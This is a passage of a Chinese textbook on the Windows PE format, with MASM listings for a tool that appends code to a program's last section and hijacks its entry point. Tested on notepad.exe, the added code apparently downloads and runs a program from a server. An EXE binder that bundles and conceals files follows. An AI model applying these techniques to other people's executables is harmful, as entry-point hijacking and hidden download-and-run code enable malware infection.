69 70 mov edi,lpDstMemory 71 add edi,dwNewFileAlignSize 72 73 mov ecx,dwPatchCodeSize 74 invoke MemCopy,esi,edi,ecx 75 76 ;---------------------------到此为止，数据复制完毕 77 78 ;修正 79 80 ;计算SizeOfRawData 81 invoke _getRVACount,lpDstMemory 82 xor edx,edx 83 dec eax 84 mov ecx,sizeof IMAGE_SECTION_HEADER 85 mul ecx 86 87 mov edi,lpDstMemory 88 assume edi:ptr IMAGE_DOS_HEADER 89 add edi,[edi].e_lfanew 90 add edi,sizeof IMAGE_NT_HEADERS 91 add edi,eax 92 assume edi:ptr IMAGE_SECTION_HEADER 93 mov eax,dwLastSectionAlignSize 94 mov [edi].SizeOfRawData,eax 95 96 ;计算Misc值 97 invoke getSectionAlign,@lpMemory1 98 mov dwSectionAlign,eax 99 xchg eax,ecx 100 mov eax,dwLastSectionAlignSize 101 invoke _align 102 mov [edi].Misc,eax 103 104 ;修改标志 105 mov eax,0c0000060h 106 mov [edi].Characteristics,eax 107 ;计算VirtualAddress 108 109 mov eax,[edi].VirtualAddress ;取原始RVA值 110 mov dwVirtualAddress,eax 111 112 ;修正函数入口地址 113 mov eax,dwNewFileAlignSize 114 invoke _OffsetToRVA,lpDstMemory,eax 115 mov dwNewEntryPoint,eax 116 mov edi,lpDstMemory 117 assume edi:ptr IMAGE_DOS_HEADER 118 add edi,[edi].e_lfanew 119 assume edi:ptr IMAGE_NT_HEADERS 120 mov eax,[edi].OptionalHeader.AddressOfEntryPoint 121 mov dwDstEntryPoint,eax 122 mov eax,dwNewEntryPoint 123 mov [edi].OptionalHeader.AddressOfEntryPoint,eax 124 125 mov eax,dwDstEntryPoint 126 sub eax,dwNewEntryPoint 127 mov dwEIPOff,eax 128 129 ;修正SizeOfImage 130 mov eax,dwLastSectionAlignSize 131 mov ecx,dwSectionAlign 132 invoke _align 133 ;获取最后一个节的VirtualAddress 134 add eax,dwVirtualAddress 135 mov [edi].OptionalHeader.SizeOfImage,eax 136 137 138 ;修正补丁代码中的E9指令后的操作数 139 mov eax,lpDstMemory 140 add eax,dwNewFileAlignSize 141 add eax,dwPatchCodeSize 142 143 sub eax,5 ;eax指向了E9的操作数 144 mov edi,eax 145 146 sub eax,lpDstMemory 147 add eax,4 148 149 mov ebx,dwDstEntryPoint 150 invoke _OffsetToRVA,lpDstMemory,eax 151 sub ebx,eax 152 mov dword ptr [edi],ebx 153 154 pushad 155 invoke wsprintf,addr szBuffer,addr szOut112,ebx 156 invoke _appendInfo,addr szBuffer 157 popad 158 159 ;将新文件内容写入到c:\\bindC.exe 160 invoke writeToFile,lpDstMemory,dwNewFileSize 读者可自行比对补丁工具的编写流程和代码中的注释，辅助阅读该部分代码。"},
    {"text": "17.2.3 运行测试 17.2.3 运行测试 编译链接补丁工具代码，使用生成的bind.exe对记事本程序进行测试，相关文件在随书文件的目录chapter17\\a中。以下是使用补丁工具对notepad.exe打补丁的运行结果： 补丁程序：D:\\masm32\\source\\chapter17\\a\\patch.exe 目标PE程序：C:\\notepad.exe 补丁代码段大小：0000078a PE文件大小：00010400 对齐以后的大小：00010400 目标文件最后一节在文件中的起始偏移：00008400 目标文件最后一节对齐后的大小：00008800 新文件大小：00010c00 补丁代码中的E9指令后的操作数修正为：ffff3c14 注意 测试时要保证电脑已连接到互联网络，且在指定的服务器上放置了要下载并运行的程序。如果联网不成功，程序会进入死循环。读者可以根据实际需要对代码进行修正，如设置超时的时间等，以便让程序能对运行环境有更好的适应性。 17.3 小结 17.3 小结 本章主要讨论了在PE最后一节附加代码的方法。相比前三章的方法，这种方法工作量最少、编码最简单、要修正的值也最少。所以，这种方法被广泛用于各种场合的静态补丁中。通过学习本章，读者还可以掌握编写复杂补丁程序的方法，即先编写补丁程序的功能预演代码，然后按照静态嵌入补丁框架的编写原则逐句进行修改。 至此，PE进阶部分就结束了。通过本阶段的学习，笔者希望大家能掌握编写补丁程序、实施PE变形、在目标PE中插入补丁程序等方法。接下来的内容实践性会更强，将会为读者提供几个有趣又实用的专题案例。 第三部分 PE的应用案例 第三部分 PE的应用案例 第18章 EXE捆绑器 第19章 软件安装自动化 第20章 EXE加锁器 第21章 EXE加密 第22章 PE病毒提示器 第23章 破解PE病毒 第18章 EXE捆绑器 从本章开始，将围绕PE文件从不同角度分析几个应用实例。其中除了第20章的EXE加锁器采用了第16章介绍的补丁工具外，其他几个实例均采用第17章介绍的补丁工具，完成对目标PE的静态补丁操作。 本书8.4节介绍了一种通过附加资源文件的方式对文件进行捆绑的例子。本章使用补丁技术编写一个小工具，该工具可以将某个目录中的所有相关文件（含子目录中的文件）捆绑在一起，捆绑前还可以定义要运行的EXE序列。 EXE捆绑器允许用户将多个可执行文件及相关文件捆绑到一起，通过运行捆绑程序实现多个可执行文件的依次执行。本章将研究这种应用的编程方法。 18.1 基本思路 EXE捆绑是指将两个或多个可执行文件和非执行文件捆绑到一起的技术。捆绑的目的有三个： 减少某个待发布系统的独立文件的个数。 隐藏某些特殊用途的文件。 实现一些特殊功能，如本案例中通过捆绑实现了多个程序的顺序执行。 EXE捆绑器结合EXE加锁器（本书第20章讲述的内容）可以用于加密文件夹或文件。因为在捆绑过程中，可以指定被捆绑的文件中哪些需要运行，所以，该捆绑器还可以用于运行多个PE文件的批处理，通过依次运行多个文件（结合本书第19章讲述的软件安装自动化技术）则可以实现多个补丁的自动安装。 捆绑的实现方法有很多种，其中最常见有两种方法： 1）通过编写一个新的EXE程序，把要捆绑的所有文件以资源的方式进行，或者直接写在文件末尾来进行，运行时只需将文件提取出来依次运行即可。 2）通过直接修改第一个PE程序，将其他文件作为资源或直接写在文件末尾，通过在第一个PE程序中设置补丁程序的方式，依次运行多个程序。 本章将讲解第一种捆绑方法。 以下是本章要用到的几个程序，以及每个程序的相关说明： hex2db：将字节码转变为汇编语言数据定义语句的小工具。 _host.exe：调度执行程序的模板，该文件最终嵌入到宿主程序中。 host.exe：宿主程序。是补丁程序的目标，用于存储_host.exe和其他要捆绑的文件。 bind.exe：捆绑器。负责执行捆绑，类似于进阶部分的补丁工具。"},
    {"text": "18.2 EXE执行调度机制 18.2 EXE执行调度机制 大部分情况下，被捆绑的文件集合中只有一个EXE文件是主运行文件。 但也有例外，比如，有的用户会将多个程序捆绑起来，然后依次安装这些程序以提高计算机的安全性能，这时候就要用到EXE执行调度。 EXE执行调度就是在捆绑前，指定补丁程序中要安装的程序的运行顺序，当被捆绑的程序被释放出来后，还要有一个进程专门负责调度这些程序按照先后顺序依次运行。 要实现EXE同步执行，需要使用两个Windows API函数，它们分别是： CreateProcess（创建进程函数） WaitForSingleObject（等待指定进程结束） 18.2.1 相关API函数 EXE执行调度过程其实就是一个控制多个进程同步执行的过程。 Windows API函数中给出了两个与进程控制有关的函数：创建进程函数CreateProcess和等待进程结束函数WaitForSingleObject。 1.创建进程函数CreateProcess 该函数用于完成一个进程的创建工作，函数原型定义如下： BOOL CreateProcess( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes。 LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); 函数参数解释如下： 1）lpApplicationName：指向一个NULL结尾的、用来指定可执行模块的字符串。"},
    {"text": "如果文件名不包含扩展名，那么.exe将被假定为默认的扩展名。 如果文件名以一个点（.）结尾且没有扩展名，或文件名中包含路径，.exe将不会被加到后面。 如果文件名中不包含路径，Windows将按照如下顺序寻找这个可执行文件： 当前应用程序的目录。"},
    {"text": "在Windows NT中，SECURITY_ATTRIBUTES结构的lpSecurityDescriptor成员指定了新进程的安全描述符，如果参数为空，新进程使用默认的安全描述符。 4）lpThreadAttributes：指向一个SECURITY_ATTRIBUTES结构体，这个结构体决定是否返回的句柄可以被子进程继承。"},
    {"text": "单独运行一个16位程序的优点是：一个应用程序的崩溃只会结束这一个VDM的运行，其他那些在不同VDM中运行的程序会继续正常地运行。 同样，在不同VDM中运行的16位Windows应用程序拥有不同的输入队列，这意味着，如果一个程序暂时失去响应，在独立的VDM中的应用程序能够继续获得输入。"},
    {"text": "如果你使用这个标志创建进程，只有调用进程（调用CreateProcess函数的进程）可以调用WaitForDebugEvent函数，动态补丁技术中经常会使用该标志打开一个调试进程。"},
    {"text": "如果此标志没有被设置，且调用进程正在被调试，新进程将成为调试调用进程的调试器的另一个调试对象。 如果调用进程没有被调试，有关调试的行为就不会产生。"},
    {"text": "如果上面的优先级标志都没有被指定，那么默认的优先级是NORMAL_PRIORITY_CLASS，除非被创建的进程是IDLE_PRIORITY_CLASS。 在这种情况下，子进程的默认优先级是IDLE_PRIORITY_CLASS。"},
    {"text": "注意 一个ANSI环境块是由两个0字节结束的：一个是字符串的结尾，另一个用来结束这个块。 一个Unicode环境块是则由四个0字节结束的：两个代表字符串结束，另外两个用来结束块。"},
    {"text": "新进程和新线程的句柄是被当成全局变量创建的，对于这两个句柄中的任意一个，如果没有安全描述符，那么这个句柄就可以在任何需要句柄类型作为参数的函数中使用。"},
    {"text": "当函数的执行时间超过dwMilliseconds就返回； 但如果参数dwMilliseconds为INFINITE，将在相应时间事件变成有信号状态时函数才返回，否则就一直等待下去，直到WaitForSingleObject有返回值才执行后面的代码。"},
    {"text": "18.2.2 控制进程同步运行实例分析 18.2.2 控制进程同步运行实例分析 本节根据对操作系统进程管理的理解，介绍使用Windows API函数实现控制进程同步运行的实例，以帮助大家更加深入地理解多个应用程序依次被执行调度的过程。 代码清单18-1简单地模拟了捆绑被释放以后，各个程序的同步运行效果。 代码清单18-1 测试多个进程同步运行的实例（chapter18\\multiProcess.asm） 1 ;------------------------------------ 2 ;测试执行多个进程的文件 3 ;multiProcess.asm 4 ;------------------------------------- 5 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 include kernel32.inc 13 include winResult.inc 14 includelib user32.lib 15 includelib kernel32.lib 16 includelib winResult.lib … 38 .const 39 szExeFile db 'd:\\masm32\\source\\chapter18\\notepad.exe',0 40 szExeFile1 db 'd:\\masm32\\source\\chapter18\\mspaint.exe',0 41 42 43 .code 44 45 ;------------------------------------------ 46 ;执行程序用的线程 47 ;1.用CreateProcess建立进程 48 ;2.用WaitForSingleObject等待进程结束 49 ;------------------------------------------- 50 _RunThread proc uses ebx ecx edx esi edi,\\ 51 dwParam:DWORD 52 pushad 53 invoke GetStartupInfo,addr stStartUp 54 invoke CreateProcess,NULL,addr szExeFile,NULL,NULL,\\ 55 NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,\\ 56 offset stStartUp,offset stProcInfo 57 .if eax!=0 58 invoke WaitForSingleObject,stProcInfo.hProcess,INFINITE 59 invoke CloseHandle,stProcInfo.hProcess 60 invoke CloseHandle,stProcInfo.hThread 61 .endif 62 invoke GetStartupInfo,addr stStartUp 63 invoke CreateProcess,NULL,addr szExeFile1,NULL,NULL,\\ 64 NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,\\ 65 offset stStartUp,offset stProcInfo 66 .if eax!=0 67 invoke WaitForSingleObject,stProcInfo.hProcess,INFINITE 68 invoke CloseHandle,stProcInfo.hProcess 69 invoke CloseHandle,stProcInfo.hThread 70 .endif 71 popad 72 ret 73 _RunThread endp 74 75 start: 76 invoke CreateThread,NULL,NULL,offset _RunThread,\\ 77 NULL,NULL,offset hRunThread 78 end start 主程序通过函数CreateThread把调度函数_RunThread当成一个线程来运行（行76）。调度函数首先通过CreateProcess打开一个程序（行54）；然后，调用函数WaitForSingleObject等待进程结束（行58）。第一个程序结束后，继续使用CreateProcess打开第二个程序，使用WaitForSingleObject等待第二个程序的结束，依次类推。 执行程序后，首先打开记事本程序，无论你如何操作，均会等待记事本程序退出后（选择菜单“文件”|“退出”选项或者直接选择标题栏最右端的关闭按钮退出记事本），才打开第二个程序“画图”。"},
    {"text": "为了方便后续的开发，本节编写一个小工具hex2db，该工具实现了将文件中的字节码转换为汇编语言字节定义的方式。 例如，文件中的以下字节码： 00 01 02 03 04 A5 利用小工具hex2db最终转换为： db 00h,01h,02h,03h,04h,0A5h 数据定义该语句包括三部分： 前置空格。"},
    {"text": "18.3.1 hex2db源代码 hex2db的编写思路与第2章的小工具PEDump雷同，两者都是以控制输出格式为核心。 hex2db的源代码见代码清单18-2。"},
    {"text": "代码清单18-2 字节码到汇编语言数据定义语句的转换（chapter18\\hex2db.asm） 1 .386 2 .model flat,stdcall 3 option casemap:none 4 … 55 szFileName db MAX_PATH dup (?) 56 szDstFile db 'c:\\1.txt',0 57 szFileNameOpen1 db '_host.exe',MAX_PATH dup(0) 58 szFileNameOpen2 db 'c:\\notepad.exe',MAX_PATH dup(0) 59 60 ;d:\\masm32\\source\\chapter12\\HelloWorld.exe 61 62 szBuffer db 256 dup(0),0 63 bufTemp1 db 200 dup(0),0 64 bufTemp2 db 200 dup(0),0 65 szFilter1 db 'Excutable Files',0,'*.exe ;*.com',0 66 db 0 67 68 .const 69 70 lpszHexArr db '0123456789ABCDEF',0 71 72 73 .code 74 75 ;------------------ 76 ;错误Handler 77 ;------------------ 78 _Handler proc _lpExceptionRecord,_lpSEH,\\ 79 _lpContext,_lpDispathcerContext 80 81 pushad ┇ 93 popad 94 mov eax,ExceptionContinueExecution 95 ret 96 _Handler endp 97 98 ;-------------------------- 99 ;将_lpPoint位置处_dwSize个字节转换为十六进制的字符串 100 ;bufTemp1处为转换后的字符串 101 ;-------------------------- 102 _Byte2Hex proc _dwSize 103 local @dwSize:dword 104 105 pushad 106 mov esi,offset bufTemp2 107 mov edi,offset bufTemp1 108 mov @dwSize,0 109 .repeat 110 mov al,byte ptr [esi] 111 112 mov bl,al 113 xor edx,edx 114 xor eax,eax 115 mov al,bl 116 mov cx,16 117 div cx ;结果高位在al中，余数在dl中 118 119 120 xor bx,bx 121 mov bl,al 122 movzx edi,bx 123 mov bl,byte ptr lpszHexArr [edi] 124 mov eax,@dwSize 125 mov byte ptr bufTemp1[eax],bl 126 127 128 inc @dwSize 129 130 xor bx,bx 131 mov bl,dl 132 movzx edi,bx 133 134 ;invoke wsprintf,addr szBuffer,addr szOut2,edx 135 ;invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 136 137 mov bl,byte ptr lpszHexArr [edi] 138 mov eax,@dwSize 139 mov byte ptr bufTemp1[eax],bl 140 141 inc @dwSize 142 mov bl,20h 143 mov eax,@dwSize 144 mov byte ptr bufTemp1[eax],bl 145 inc @dwSize 146 inc esi 147 dec _dwSize 148 .break.if _dwSize == 0 149 .until FALSE 150 151 mov bl,0 152 mov eax,@dwSize 153 mov byte ptr bufTemp1[eax],bl 154 155 popad 156 ret 157 _Byte2Hex endp 158 159 _MemCmp proc _lp1,_lp2,_size 160 local @dwResult:dword 161 162 pushad 163 mov esi,_lp1 164 mov edi,_lp2 165 mov ecx,_size 166 .repeat 167 mov al,byte ptr [esi] 168 mov bl,byte ptr [edi] 169 .break.if al!=bl 170 inc esi 171 inc edi 172 dec ecx 173 .break.if ecx == 0 174 .until FALSE 175 .if ecx!=0 176 mov @dwResult,1 177 .else 178 mov @dwResult,0 179 .endif 180 popad 181 mov eax,@dwResult 182 ret 183 _MemCmp endp 184 185 ;-------------- 186 ; 187 ;-------------------- 188 writeToFile proc _lpFile,_dwSize 189 local @dwWritten 190 pushad 191 invoke CreateFile,addr szDstFile,GENERIC_WRITE,\\ 192 FILE_SHARE_READ,\\ 193 0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 194 mov hFile,eax 195 invoke WriteFile,hFile,_lpFile,_dwSize,addr @dwWritten,NULL 196 invoke CloseHandle,hFile 197 popad 198 ret 199 writeToFile endp 200 201 202 ;-------------------- 203 ;打开PE文件并处理 204 ;-------------------- 205 _openFile proc 206 local @stOF:OPENFILENAME 207 local @hFile,@dwFileSize,@hMapFile,@lpMemory 208 local @hFile1,@dwFileSize1,@hMapFile1,@lpMemory1 209 local @bufTemp1[10]:byte 210 local @dwTemp:dword,@dwTemp1:dword 211 local @dwBuffer,@lpDst,@hDstFile 212 213 214 invoke CreateFile,addr szFileNameOpen1,GENERIC_READ,\\ 215 FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,\\ 216 OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL 217 218 .if eax!=INVALID_HANDLE_VALUE 219 mov @hFile,eax 220 invoke GetFileSize,eax,NULL 221 mov @dwFileSize,eax 222 .if eax 223 invoke CreateFileMapping,@hFile,\\ ;内存映射文件 224 NULL,PAGE_READONLY,0,0,NULL 225 .if eax 226 mov @hMapFile,eax 227 invoke MapViewOfFile,eax,\\ 228 FILE_MAP_READ,0,0,0 229 .if eax 230 mov @lpMemory,eax ;获得文件在内存的映像起始位置 231 assume fs:nothing 232 push ebp 233 push offset _ErrFormat 234 push offset _Handler 235 push fs:[0] 236 mov fs:[0],esp 237 238 ;检测PE文件是否有效 239 mov esi,@lpMemory 240 assume esi:ptr IMAGE_DOS_HEADER 241 .if [esi].e_magic!=IMAGE_DOS_SIGNATURE ;判断是否有MZ字样 242 jmp _ErrFormat 243 .endif 244 add esi,[esi].e_lfanew ;调整esi指针指向PE文件头 245 assume esi:ptr IMAGE_NT_HEADERS 246 .if [esi].Signature!=IMAGE_NT_SIGNATURE ;判断是否有PE字样 247 jmp _ErrFormat 248 .endif 249 .endif 250 .endif 251 .endif 252 .endif 253 254 255 256 ;至此，内存文件的指针已经获取到了。"},
    {"text": "@lpMemory指向文件头 257 258 259 ;求新文件大小 260 mov eax,@dwFileSize 261 shl eax,3 262 mov dwNewFileSize,eax 263 264 ;申请内存空间 265 invoke GlobalAlloc,GHND,dwNewFileSize 266 mov @hDstFile,eax 267 invoke GlobalLock,@hDstFile 268 mov lpDstMemory,eax ;将指针给@lpDst 269 270 mov dwCount,0 271 mov esi,@lpMemory 272 mov edi,lpDstMemory 273 274 mov @dwTemp,0 275 276 mov al,20h 277 mov ecx,4 278 rep stosb 279 mov al,'d' ;定义操作符db 280 stosb 281 mov al,'b' 282 stosb 283 mov al,20h 284 stosb 285 add dwNewFileCount,7 286 287 ;开始处理每一个字节 288 .repeat 289 xor eax,eax 290 mov al,byte ptr [esi] 291 inc esi 292 293 ;先看是否为16的整数倍 294 .if @dwTemp == 16 295 push eax 296 mov @dwTemp,0 297 dec edi 298 dec dwNewFileCount 299 mov al,0dh ;是16整数倍，则回车换行，并写入下一行的 300 stosb ;数据定义操作符db 301 mov al,0ah 302 stosb 303 mov al,20h 304 mov ecx,4 305 rep stosb 306 mov al,'d' 307 stosb 308 mov al,'b' 309 stosb 310 mov al,20h 311 stosb 312 add dwNewFileCount,9 313 pop eax 314 315 ;处理字节 316 xor edx,edx 317 mov ecx,16 318 div ecx 319 mov ebx,eax 320 ;处理高位 321 322 .if al＞9 323 mov bl,'0' 324 mov byte ptr [edi],bl 325 inc edi 326 inc dwNewFileCount 327 mov al,[eax+lpszHexArr] 328 stosb 329 .else 330 mov al,[eax+lpszHexArr] 331 stosb 332 .endif 333 inc dwNewFileCount 334 335 ;处理低位 336 mov ebx,edx 337 mov al,[ebx+lpszHexArr] 338 stosb 339 mov al,'h' 340 stosb 341 mov al,',' 342 stosb 343 add dwNewFileCount,3 344 .else 345 ;处理字节 346 xor edx,edx 347 mov ecx,16 348 div ecx 349 mov ebx,eax 350 ;处理高位 351 352 .if al＞9 353 mov bl,'0' 354 mov byte ptr [edi],bl 355 inc edi 356 inc dwNewFileCount 357 mov al,[eax+lpszHexArr] 358 stosb 359 .else 360 mov al,[eax+lpszHexArr] 361 stosb 362 .endif 363 inc dwNewFileCount 364 365 ;处理低位 366 mov ebx,edx 367 mov al,[ebx+lpszHexArr] 368 stosb 369 mov al,'h' 370 stosb 371 mov al,',' 372 stosb 373 add dwNewFileCount,3 374 .endif 375 sub @dwFileSize,1 376 inc @dwTemp 377 .break.if @dwFileSize == 0 378 .until FALSE 379 380 381 ;将新文件内容写到C:\\1.txt 382 invoke writeToFile,lpDstMemory,dwNewFileCount 383 384 jmp _ErrorExit ;正常退出 385 386 _ErrFormat: 387 388 _ErrorExit: 389 pop fs:[0] 390 add esp,0ch 391 invoke UnmapViewOfFile,@lpMemory 392 invoke CloseHandle,@hMapFile 393 invoke CloseHandle,@hFile 394 jmp @F 395 _ErrFormat1: 396 397 _ErrorExit1: 398 pop fs:[0] 399 add esp,0ch 400 invoke UnmapViewOfFile,@lpMemory1 401 invoke CloseHandle,@hMapFile1 402 invoke CloseHandle,@hFile1 403 @@: 404 ret 405 _openFile endp 406 407 start: 408 409 invoke _openFile 410 invoke ExitProcess,NULL 411 end start 行271为寄存器esi赋值，使其指向要处理的文件的内存映射文件的起始地址；"},
    {"text": "行272为寄存器edi赋值，使其指向申请内存块（目标缓冲区）的起始，该位置存放最终转换后的数据定义语句。 行276～278向目标缓冲区写入数据定义语句的前置空格。 行279～284向目标缓冲区写入数据定义的伪指令\"db\"。"},
    {"text": "18.3.2 运行测试 18.3.2 运行测试 编译链接执行文件，打开文件C:\\1.txt，查看对PE文件_host.exe的执行结果（节选）如下： db 4Dh,5Ah,90h,00h,03h,00h,00h,00h,04h,00h,00h,00h,0FFh,0FFh,00h,00h db 00h,00h,00h,00h,00h,00h,00h,40h,00h,00h,00h,00h,00h,00h,00h,00h db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h db 00h,00h,00h,00h,00h,00h,00h,00h,00h,0C0h,00h,00h,00h,0Eh,1Fh,0BAh db 00h,0B4h,09h,0CDh,21h,0B8h,01h,4Ch,0CDh,21h,54h,68h,69h,73h,20h,70h db 6Fh,67h,72h,61h,6Dh,20h,63h,61h,6Eh,6Eh,6Fh,74h,20h,62h,65h,20h db 75h,6Eh,20h,69h,6Eh,20h,44h,4Fh,53h,20h,6Dh,6Fh,64h,65h,2Eh,0Dh db 0Ah,24h,00h,00h,00h,00h,00h,00h,00h,66h,17h,54h,4Bh,22h,76h,3Ah db 22h,76h,3Ah,18h,22h,76h,3Ah,18h,0ACh,69h,29h,18h,2Dh,76h,3Ah,18h db 56h,28h,18h,23h,76h,3Ah,18h,52h,69h,63h,68h,22h,76h,3Ah,18h,00h db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h db 00h,00h,00h,00h,00h,50h,45h,00h,00h,4Ch,01h,03h,00h,6Dh,96h,35h db 00h,00h,00h,00h,00h,00h,00h,00h,0E0h,00h,0Fh,01h,0Bh,01h,05h,0Ch db 0CCh,00h,00h,00h,18h,00h,00h,00h,00h,00h,00h,0B4h,0DBh,00h,00h,00h db 00h,00h,00h,0E0h,00h,00h,00h,00h,40h,00h,00h,10h,00h,00h,00h,02h db 00h,04h,00h,00h,00h,00h,00h,00h,00h,04h,00h,00h,00h,00h,00h,00h db 00h,10h,01h,00h,00h,04h,00h,00h,00h,00h,00h,00h,02h,00h,00h,00h, 注意 使用小工具hex2db生成的数据定义语句的最后一行末尾有一个逗号，在将结果引入汇编代码时，必须将该逗号去掉，否则编译源文件时会出现错误。"},
    {"text": "18.4 执行调度程序_host.exe 18.4 执行调度程序_host.exe 18.2.2小节通过一个程序模拟了多个应用程序的执行调度过程。接下来就要编写本章通用的执行调度程序_host.exe。该程序可以对同步运行更多的应用程序，且定义上会更灵活。 18.4.1 主要代码 主要代码见代码清单18-3。 代码清单18-3 执行调度程序_host.asm（chapter18\\_host.asm） 1 .386 2 .model flat,stdcall 3 option casemap:none 4 5 include windows.inc 6 include user32.inc 7 include kernel32.inc 8 ...... 9 TOTAL_FILE_COUNT equ 100 ;本程序所绑定文件的最大数 10 BinderFileStruct STRUCT 11 inExeSequence byte ? ;为0表示非执行文件，为1表示加入执行序列 12 dwFileOff dword ? ;在宿主中的起始偏移 13 dwFileSize dword ? ;文件大小 14 name1 db 256 dup(0) ;文件名，含子目录 15 BinderFileStruct ENDS 16 17 18 .data 19 hRunThread dd ? 20 dwFileSizeHigh dd ? 21 dwFileSizeLow dd ? 22 dwFileCount dd ? 23 dwFolderCount dd ? 24 dwFileSize dd ? 25 dwFileOff dd ? 26 27 szFilter db '*.*',0 28 szXie db '\\',0 29 szPath db 'c:\\ql',256 dup(0) 30 szBuffer db 1024 dup(0) 31 szHost db 'host.exe',0 ;宿主程序 32 szHost _db '_host.exe',0 ;释放出来的文件 33 34 szTemp db 'a\\b\\c\\abc.exe',0 35 36 stStartUp STARTUPINFO ＜?＞ 37 stProcInfo PROCESS_INFORMATION ＜?＞ 38 39 ;以下为绑定列表数据结构，一个文件总数的双字和多个BinderFileStruct结构 40 dwFlag dd 0ffffffffh,0ffffffffh,0ffffffffh,0ffffffffh 41 dwTotalFile dd TOTAL_FILE_COUNT ;文件总数 42 lpFileList BinderFileStruct TOTAL_FILE_COUNT dup(＜?＞) 43 szBuffer1 db 256 dup(0) 44 45 .code 46…… 47 ;------------------------------------------ 48 ;执行程序用的线程 49 ;1.用CreateProcess建立进程 50 ;2.用WaitForSingleObject等待进程结束 51 ;------------------------------------------- 52 _RunThread proc uses ebx ecx edx esi edi,\\ 53 dwParam:DWORD 54 pushad 55 mov ecx,dwTotalFile 56 mov esi,offset lpFileList 57 .repeat 58 assume esi:ptr BinderFileStruct 59 mov al,byte ptr [esi] 60 push esi 61 .if al == 1 ;文件在执行序列 62 push esi 63 invoke GetStartupInfo,addr stStartUp 64 pop esi 65 invoke CreateProcess,NULL,addr [esi].name1,NULL,NULL,\\ 66 NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,offset stStartUp,offset stProcInfo 67 .if eax!=0 68 invoke WaitForSingleObject,stProcInfo.hProcess,INFINITE 69 invoke CloseHandle,stProcInfo.hProcess 70 invoke CloseHandle,stProcInfo.hThread 71 .endif 72 .endif 73 invoke Sleep,1000 74 pop esi 75 add esi,sizeof BinderFileStruct 76 dec dwTotalFile 77 .break.if dwTotalFile == 0 78 .until FALSE 79 popad 80 ret 81 _RunThread endp 82 83 start: 84 ;获取当前目录 85 invoke GetCurrentDirectory,256,addr szPath 86 invoke CreateThread,NULL,NULL,offset _RunThread,\\ 87 NULL,NULL,offset hRunThread 88 end start 18.4.2 数据结构分析 18.4.2 数据结构分析 本章开发的EXE捆绑器最大能捆绑100个文件，由常量TOTAL_FILE_COUNT定义。每个捆绑文件都对应一个结构，用来说明文件的名称、所处的位置、是否加入到最终的可执行序列标志等。该结构的详细定义如下： BinderFileStruct STRUCT inExeSequence byte ? ;为0表示非执行文件 ;为1表示加入执行序列 dwFileOff dword ? ;在宿主中的起始偏移 dwFileSize dword ? ;文件大小 name db 256 dup(0) ;文件名，含子目录 BinderFileStruct ENDS 函数参数的解释如下： 1）inExeSequence：标志字节。如果是0，则表示该捆绑文件是一般文件，不参与释放后的执行调度过程；如果是1，则表示该文件为PE文件，且参与释放后的执行调度过程。 2）dwFileOff：该文件字节码在宿主程序中的偏移。指出了文件在宿主程序中的位置。 3）dwFileSize：文件的大小。 4）name：要绑定的文件的名字，含子目录。 特别提示 BinderFileStruct.name不是绝对路径，而是当前路径下的相对路径。该路径中包含子目录，可能的表达形式如pic\\background.gif，指当前目录下的pic子目录中的background.gif图片文件，子目录允许嵌套。 行39～42定义了绑定列表的相关数据变量的定义。dwTotalFile为捆绑文件总数，lpFileList为绑定列表。dwFlag定义了三个双字，值均为0xffffffff。设置这个标志的目的是从文件中定位该结构所处的位置。 与18.2.2小节的例子不同，在线程函数_RunThread中，要调度的程序不再是固定的某个PE文件，而是通过遍历绑定列表数据结构得到的由用户定义的程序。 行57～78构造了一个循环，循环的次数为变量dwTotalFile的值。每执行一次循环，就从绑定列表中取一条记录，通过判断标志inExeSequence确定是否执行该文件。 将_host.asm编译，链接以后，生成可执行文件。使用上一节开发的小工具hex2db.exe，将可执行代码_host.exe转换为汇编语言里的字节码定义语句，保存放在C:\\1.txt中，以便在后面想整体将可执行代码嵌入到汇编源代码时使用。"},
    {"text": "18.5 宿主程序host.exe 18.5 宿主程序host.exe 下面将开发宿主程序，即EXE捆绑器最终生成的携带了捆绑文件的可执行程序。以下分别从宿主程序的功能、宿主程序捆绑前后状态，以及主要代码（含遍历文件、释放文件和主函数三部分）三个方面进行介绍。 18.5.1 宿主程序的功能 宿主程序host.exe是EXE捆绑器的核心PE文件，它具备以下三个功能： 1）存储所有要捆绑的文件，包括可运行的文件和不可运行的文件，这些文件将通过程序补丁的方式存储到宿主程序的最后一节。 2）按原目录结构释放所有文件。 3）具备调度程序执行的功能。该部分功能由释放的_host.exe来完成。而_host.exe的添加方法则是直接将指令字节码添加到宿主程序的源程序中。 和_host.exe程序一样，宿主程序host.exe中也定义了一套绑定列表的数据结构。这两个程序维护了同样的数据实例，_host.exe的绑定列表中每个字段的值都来自于宿主程序。 举个简单例子，如果文件夹中有以下5个文件待绑定： A1.exe A2.exe Config.ini dat\\abc.dat（注意含子目录） db\\abc.mdb（注意含子目录） 其中A1、A2为可执行程序，要求绑定后的程序在运行时先执行A1，然后执行A2。以下数字模拟了宿主程序的绑定列表可能的数据排列方式： 00000005h,＜1,0b10h,0100h,'A1.exe'＞＜1,0c10h,0100h,'A2.exe'＞＜0,0d10h,0100h,'Config.dat'＞＜0,0e10h,0100h,'dat\\abc.dat'＞＜0,0f10h,0100h,'db\\abc.mdb '＞ 宿主程序维护了这样的一套数据，用它来释放捆绑文件；嵌入到宿主程序源代码中的_host.exe字节码中也维护了这样的一套数据，用它来执行调度。 18.5.2 宿主程序的状态 18.5.2 宿主程序的状态 由于宿主程序完成了对捆绑文件的存储，所以，在捆绑文件前后不同时期，宿主程序存在不同的状态，如图18-1所示。 图 18-1 宿主程序运行状态 